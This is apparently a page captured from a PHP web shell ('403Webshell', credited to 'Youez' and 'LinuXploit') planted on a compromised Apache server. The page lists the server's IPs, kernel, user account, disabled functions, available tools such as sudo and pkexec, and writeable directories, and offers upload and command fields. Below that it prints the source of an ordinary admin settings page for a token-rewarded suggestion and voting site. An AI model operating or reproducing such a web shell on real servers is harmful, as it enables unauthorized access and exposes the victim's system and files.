403Webshell
Server IP : 64.202.187.69  /  Your IP : 216.73.217.74
Web Server : Apache
System : Linux 69.187.202.64.host.secureserver.net 3.10.0-1160.144.1.el7.tuxcare.els6.x86_64 #1 SMP Fri May 29 16:22:24 UTC 2026 x86_64
User : transmarket ( 1001)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/transmarket/testadministrator/devsite/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/transmarket/testadministrator/devsite/settings.php
<?php $page_title = " | Settings"; ?>
<?php
include 'header.php';
include 'controllers/get_settings.php';
?>
<div class="row">
    <div class="col-xs-12">
        <div class="card">
            <div class="card-header">
                <h3 class="header-title">SETTINGS</h3>
            </div>
            <div class="card-body">
                <div class="row button-row" style=" padding-left: 15px; padding-right: 15px; margin-top: 15px;">
					<?php /*<div class="form-group mb-2">
						<label class="col-md-3 control-label">Daily TMN limit for suggestion</label>
						<div class="col-md-9">
							<input type="text" class="form-control" id="daily_suggestion_tmn_limit" value="<?php echo $daily_suggestion_tmn_limit; ?>" placeholder="Enter value">
						</div>
					</div>
					<div class="form-group mb-2">
						<label class="col-md-3 control-label">Daily TMN limit for voting</label>
						<div class="col-md-9">
							<input type="text" class="form-control" id="daily_vote_tmn_limit"  value="<?php echo $daily_vote_tmn_limit; ?>" placeholder="Enter value">
						</div>
					</div>
					
					<div class="form-group mb-2">
						<label class="col-md-3 control-label">TMN per vote</label>
						<div class="col-md-9">
							<input type="text" class="form-control" id="tmn_per_vote" value="<?php echo $tmn_per_vote; ?>" placeholder="Enter value">
						</div>
					</div>
					
					<div class="form-group mb-2">
						<label class="col-md-3 control-label">TMN per suggestion</label>
						<div class="col-md-9">							
							<input type="text" class="form-control" id="tmn_per_suggestion"  value="<?php echo $tmn_per_suggestion; ?>" placeholder="Enter value">
						</div>
					</div>
					*/?>
					<div class="form-group full-width mb-2">
						<label class="col-md-3 control-label">Winning suggestion TMN</label>
						<div class="col-md-9">
							<input type="text" class="form-control" id="winning_suggestion_tmn" value="<?php echo $winning_suggestion_tmn; ?>" placeholder="Enter value">
						</div>
					</div>
					<div class="form-group full-width mb-2">
						<label class="col-md-3 control-label">TMN for people who voted on winning suggestion</label>
						<div class="col-md-9">
							
							<input type="text" class="form-control" id="voting_suggestion_tmn" value="<?php echo $voting_suggestion_tmn; ?>" placeholder="Enter value">
						</div>
					</div>	
					<div class="form-group full-width mb-2">
						<label class="col-md-2 control-label">Level 1 Suggestions</label>
						<div class="col-md-4">
							<input type="text" class="form-control" id="level1_suggestions" value="<?php echo $level1_suggestions; ?>" placeholder="Enter value">
						</div>
						<label class="col-md-2 control-label">Level 1 Votings</label>
						<div class="col-md-4">
							<input type="text" class="form-control" id="level1_votings" value="<?php echo $level1_votings; ?>" placeholder="Enter value">
						</div>
					</div>
					<?php /*<div class="form-group full-width mb-2">
						<label class="col-md-2 control-label">Level 2 Suggestions</label>
						<div class="col-md-4">
							<input type="text" class="form-control" id="level2_suggestions" value="<?php echo $level2_suggestions; ?>" placeholder="Enter value">
						</div>
							<label class="col-md-2 control-label">Level 2 Votings</label>
						<div class="col-md-4">
							<input type="text" class="form-control" id="level2_votings" value="<?php echo $level2_votings; ?>" placeholder="Enter value">
						</div>
					</div>
					<div class="form-group full-width mb-2">
						<label class="col-md-2 control-label">Level 3 Suggestions</label>
						<div class="col-md-4">
							<input type="text" class="form-control" id="level3_suggestions" value="<?php echo $level3_suggestions; ?>" placeholder="Enter value">
						</div>
						<label class="col-md-2 control-label">Level 3 Votings</label>
						<div class="col-md-4">
							<input type="text" class="form-control" id="level3_votings" value="<?php echo $level3_votings; ?>" placeholder="Enter value">
						</div>
					</div>
					<div class="form-group full-width mb-2">
						<label class="col-md-2 control-label">Level 4 Suggestions</label>
						<div class="col-md-4">
							<input type="text" class="form-control" id="level4_suggestions" value="<?php echo $level4_suggestions; ?>" placeholder="Enter value">
						</div>
						<label class="col-md-2 control-label">Level 4 Votings</label>
						<div class="col-md-4">
							<input type="text" class="form-control" id="level4_votings" value="<?php echo $level4_votings; ?>" placeholder="Enter value">
						</div>
					</div>
					<div class="form-group full-width mb-2">
						<label class="col-md-2 control-label">Level 5 Suggestions</label>
						<div class="col-md-4">
							<input type="text" class="form-control" id="level5_suggestions" value="<?php echo $level5_suggestions; ?>" placeholder="Enter value">
						</div>
						<label class="col-md-2 control-label">Level 5 Votings</label>
						<div class="col-md-4">
							<input type="text" class="form-control" id="level5_votings" value="<?php echo $level5_votings; ?>" placeholder="Enter value">
						</div>
					</div> */ ?>
					<div class="clear-both"></div>
					<div class="form-group col-sm-12 col-md-12">
						<button class="btn btn-primary btn-save" id="btn-save" type="button" style="float: right;">Save</button>
					</div>
                </div>
            </div>
        </div>
        <?php include 'footer.php'; ?>

        <script type="text/javascript">
            var placementFrom = "top";
            var placementAlign = "right";
            var animateEnter = "";
            var animateExit = "";
            var colorSuccess = "bg-green";
			var colorError = "bg-red";
            $(".form-control").on("input", function (evt) {
                var self = $(this);
                self.val(self.val().replace(/[^0-9\.]/g, ''));
                if ((evt.which != 46 || self.val().indexOf('.') != -1) && (evt.which < 48 || evt.which > 57)) {
                    evt.preventDefault();
                }
            });

            $("#btn-save").click(function () {
                var isValidation = true;
				
                /*var daily_suggestion_tmn_limit = $("#daily_suggestion_tmn_limit").val().trim();
                var tmn_per_suggestion = $("#tmn_per_suggestion").val().trim();
                var daily_vote_tmn_limit = $("#daily_vote_tmn_limit").val().trim();
                var tmn_per_vote = $("#tmn_per_vote").val().trim();*/
                var voting_suggestion_tmn = $("#voting_suggestion_tmn").val().trim();
                var winning_suggestion_tmn = $("#winning_suggestion_tmn").val().trim();
                var level1_suggestions = $("#level1_suggestions").val().trim();
                var level2_suggestions = $("#level2_suggestions").val().trim();
                var level3_suggestions = $("#level3_suggestions").val().trim();
                var level4_suggestions = $("#level4_suggestions").val().trim();
                var level5_suggestions = $("#level5_suggestions").val().trim();
                
                var level1_votings = $("#level1_votings").val().trim();
                var level2_votings = $("#level2_votings").val().trim();
                var level3_votings = $("#level3_votings").val().trim();
                var level4_votings = $("#level4_votings").val().trim();
                var level5_votings = $("#level5_votings").val().trim();

                /*if (daily_suggestion_tmn_limit == '') {
                    isValidation = false;
                    $('#daily_suggestion_tmn_limit').focus();
                }
                if (tmn_per_suggestion == '') {
                    isValidation = false;
                    $('#tmn_per_suggestion').focus();
                }
                if (daily_vote_tmn_limit == '') {
                    isValidation = false;
                    $('#daily_vote_tmn_limit').focus();
                }
                if (tmn_per_vote == '') {
                    isValidation = false;
                    $('#tmn_per_vote').focus();
                }*/
                if (voting_suggestion_tmn == '') {
                    isValidation = false;
                    $('#voting_suggestion_tmn').focus();
                }
                if (winning_suggestion_tmn == '') {
                    isValidation = false;
                    $('#winning_suggestion_tmn').focus();
                }
                if (level1_suggestions == '') {
                    isValidation = false;
                    $('#level1_suggestions').focus();
                }
                if (level2_suggestions == '') {
                    isValidation = false;
                    $('#level2_suggestions').focus();
                }
                if (level3_suggestions == '') {
                    isValidation = false;
                    $('#level3_suggestions').focus();
                }
                if (level4_suggestions == '') {
                    isValidation = false;
                    $('#level4_suggestions').focus();
                }
                if (level5_suggestions == '') {
                    isValidation = false;
                    $('#level5_suggestions').focus();
                }
                
                if (level1_votings == '') {
                    isValidation = false;
                    $('#level1_votings').focus();
                }
                if (level2_votings == '') {
                    isValidation = false;
                    $('#level2_votings').focus();
                }
                if (level3_votings == '') {
                    isValidation = false;
                    $('#level3_votings').focus();
                }
                if (level4_votings == '') {
                    isValidation = false;
                    $('#level4_votings').focus();
                }
                if (level5_votings == '') {
                    isValidation = false;
                    $('#level5_votings').focus();
                }
                
				
                if (isValidation) {
                    $(".loader").fadeIn("slow");
                    $.ajax({url: 'controllers/save_settings.php',
                        data: {
                            /*daily_suggestion_tmn_limit: daily_suggestion_tmn_limit,
                            tmn_per_suggestion: tmn_per_suggestion,
                            daily_vote_tmn_limit: daily_vote_tmn_limit,
                            tmn_per_vote: tmn_per_vote,*/
                            voting_suggestion_tmn: voting_suggestion_tmn,
                            winning_suggestion_tmn: winning_suggestion_tmn,
                            level1_suggestions: level1_suggestions,
                            level2_suggestions: level2_suggestions,
                            level3_suggestions: level3_suggestions,
                            level4_suggestions: level4_suggestions,
                            level5_suggestions: level5_suggestions,
                            
                            level1_votings: level1_votings,
                            level2_votings: level2_votings,
                            level3_votings: level3_votings,
                            level4_votings: level4_votings,
                            level5_votings: level5_votings,
                        },
                        type: 'post',
                        dataType: 'JSON',
                        success: function (output) {
                            if (output.status == 200) {
                                showNotification(colorSuccess, output.message, placementFrom, placementAlign, animateEnter, animateExit);
                            } else {
                                showNotification(colorError, output.message, placementFrom, placementAlign, animateEnter, animateExit);
                            }
                        }
                    });
                    $(".loader").fadeOut("slow");
                }
            });


        </script>

Youez - 2016 - github.com/yon3zu
LinuXploit